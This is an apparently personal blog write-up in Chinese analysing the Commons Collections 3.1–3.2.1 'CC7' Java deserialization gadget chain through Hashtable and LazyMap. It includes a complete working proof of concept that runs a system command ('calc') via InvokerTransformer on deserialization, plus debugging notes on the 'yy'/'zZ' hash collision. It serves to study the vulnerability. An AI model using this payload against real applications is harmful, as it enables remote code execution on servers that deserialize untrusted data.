jdk暂无限制
CommonsCollections 3.1 - 3.2.1
poc
这次跟着poc来分析,有点绕
package com.yq1ng.cc7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;
/**
* @author ying
* @Description
* @create 2021-11-24 9:35
*/
public class cc7 {
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"})
};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field field =transformerChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
小链子
先看java/util/Hashtable.java#readObject()
key与value可控,跟进reconstitutionPut()
先不管e.hash == hash
怎么实现,后面这个equals()
是重点。通过poc可以知道,e.key
是我们传入的LazyMap
,而LazyMap
是没有equals()
的,这就会进入父类org/apache/commons/collections/map/AbstractMapDecorator.java#equels()
而map我们传入的是HashMap
,而HashMap
同样没有equals()
,看其父类java/util/AbstractMap.java#equals()
如果m可控的话就可以执行命令了(废话,从poc分析的肯定有)。
分析poc
上面说到入口点为java/util/Hashtable.java#readObject()
,接着看看他的writeObject()
,看看对我们put的数据有没有进行处理
正常序列化,key与value都是 put 进去的。然后然序列化的时候再将key与value还原,接着进入reconstitutionPut()
来看一下reconstitutionPut()
实现代码
这个 e 也就是 tab 是能否进入equals()
的关键了,但是可以看到,第一次调用的时候他是空的,所以在poc中进行了两次 put()
,也就是下图
poc再往下看
使用反射设置了transformerChain,以前是直接new一个进去的
为什么这么麻烦?看java/util/Hashtable.java#put()
如果直接new一个可以使的chain的话,再 put 的时候就会触发 LazyMap#get()
也就是我们构造的恶意链子,这是我们不愿意看到的,所以最后使用了反射设置恶意的chain。
poc最后有一个大大的lazyMap2.remove("yy");
什么作用?将其注释以后会发现poc不能弹出计算器。在解释这个之前看一下上面的为什么要put yy
和zZ
,其他的put进去不行(自行尝试
从上面可以知道,只要进入equals()
那么一切都好说,但是进去的前提是e.hash == hash
也就是第二个key的hashCode需要和第一个key的hashCode相同!聪明的你要问为什么不能传入两个一样的值?注意java/util/Hashtable.java#readObject()
中的elements变量,他是读取数组原始个数与长度,说白了就是去重后的数组,传入一样的值会使elements==1
,这样的话最后的for循环只能执行一次,上面说到第一次进入for也就是reconstitutionPut()
的时候table==null
,没办法触发chain,所以需要两次才行
传入相同值调试看看
接下来看为什么构造了yy
和zZ
,都是String类型的,直接去java/lang/String.java
找hashCode()
这就很明确了,结合下图,经过第一轮 y 与 z 相差了31,而 y 与 Z 又相差31将前面多的补了回来,所以 yy 和 zZ 的 hashCode 相等
知道为什么构造yy和zZ后再看lazyMap2.remove("yy");
看似谜一样的操作,参考的博客并未说清楚为什么 remove ,仅仅提到m.size() != size()
不等就会直接 return,在这也说一下。
首先将lazyMap2.remove("yy");
注释掉,然后debug。在java/util/AbstractMap.java#equals()
内观察到m.size() != size()
,下图为第二次来到这个地方
这显然是true,然后就会return,gg。跟进size()
可以知道他是entrySet()
的大小
而entrySet()
在java/util/HashMap.java
中定义,看注释可以知道是返回映射的。程序第二次运行到java/util/AbstractMap.java#equals()
的时候hashtable
是put
了两个值进去的,而entrySet()
返回了HashMap()
的映射只有一个值,自然不等。
当你在`插入如下代码后在运行,查看控制台会惊奇的发现,
lazyMap2的值竟然是
{zZ=1, yy=yy}`,谁更改了我的代码?
System.out.println("hashtable:"+hashtable);
System.out.println("lazyMap1:"+lazyMap1);
System.out.println("lazyMap2:"+lazyMap2);
System.out.println("========================================");
lazyMap2.remove("yy");
System.out.println("hashtable:"+hashtable);
System.out.println("lazyMap1:"+lazyMap1);
System.out.println("lazyMap2:"+lazyMap2);
System.out.println("========================================");
为了解决这个困惑,我将put的代码段拿了出来
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-11-17 1:12 AM
*/
public class test {
public static void main(String[] args) {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
System.out.println("Before lazyMap2:"+lazyMap2);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "M1");
System.out.println("========================================");
hashtable.put(lazyMap2, "M2");
System.out.println("After lazyMap2:"+lazyMap2);
System.out.println("========================================");
}
}
可以看到和上面一样,开始debug。先在hashtable.put(lazyMap2, "M2");
打上断点,然后开启debug
注意此处
接着在java/util/HashMap.java#put()
打上断点,然后 f9 恢复程序,命中断点后看调用堆栈
先看第二个栈,此时正在put第二个值,对其与第一个值进行比较
由于两个值都是LazyMap,所以回去调LazyMap#equals()
,但是他没有equals()
,所以去他的父类寻找此方法
这里的map其实就是innerMap1
,然后来到java/util/AbstractMap.java#equals()
首先获取了传入Object的映射,此时的 i 也就是innerMap1
,键值为yy:1
,往下看
key是innerMap1
的key,也就是yy
,m是lazyMap2,继续看下一个栈,来到LazyMap#get()
因为lazyMap2没有yy这个键值,所以会put进去一个键值对yy:yy
,这就解释了输出的结果,也解释了为什么要lazyMap2.remove("yy");
end
cc7算是分析完了,分析下来还是挺有意思的,虽然是前面的链子复用,但是出现了很多新姿势